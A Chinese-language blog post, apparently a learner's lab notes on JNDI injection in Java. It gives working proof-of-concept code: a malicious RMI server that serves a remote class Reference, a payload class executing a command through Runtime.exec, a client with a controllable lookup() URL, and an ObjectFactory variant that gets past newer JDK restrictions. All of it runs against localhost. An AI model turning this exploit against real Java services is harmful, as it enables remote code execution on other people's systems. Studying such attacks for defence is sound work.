初步学习JDNI注入
最近学习java安全,JDNI注入必需了解,进行初步的学习
首先JNDI注入对JAVA版本是有限限制的,本地是1.8.0_2.0.1超过了191,所以最开始拿符合版本方法复现没有成功

java版本查看

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

符合版本的JNDI注入复现方法:
实现一个RMI服务
package Server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//注册RMi服务
Registry registry = LocateRegistry.createRegistry(7778);
//Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");
//把 Reference对象封装成远程对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp",referenceWrapper);
}
}
创建恶意类
public class exp {
public exp() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
实现被攻击端访问RMI服务,JDNI注入核心问题是这里的lookup()参数可控,访问恶意的 url
package Client;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
//模拟被攻击端参数可控
String url = "rmi://127.0.0.1:7778/exp";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
编译恶意类并开启远程http服务,,让RMI可以远程引用恶意类,这里的IP和8888端口对应 Reference reference = new Reference("exp","exp","http://127.0.0.1:8888/");



但是最后运行RMI Server,再运行Client无法实现命令执行
原本想换个JDK版本,但又看到了网上大佬绕过版本限制的文章,这里copy过来修改一下,最后可以成功
修改后的恶意类和RMI服务
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
//恶意类
public class PayloadObjectFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
return 1;
}
}
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//恶意RMi服务
public class RmiDemo {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//注册RMi服务
Registry registry = LocateRegistry.createRegistry(7778);
//Reference包含有助于创建引用所引用的对象实例的信息。它包含该对象的Java类名称,以及用于创建对象的对象工厂的类名称和位置
Reference reference = new Reference("aaa", "PayloadObjectFactory", null);
//把 Reference对象封装成远程对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("exp",referenceWrapper);
}
}
最终成功命令执行弹出计算器

参考链接:
https://xz.aliyun.com/t/14566
https://xz.aliyun.com/t/12277

浙公网安备 33010602011771号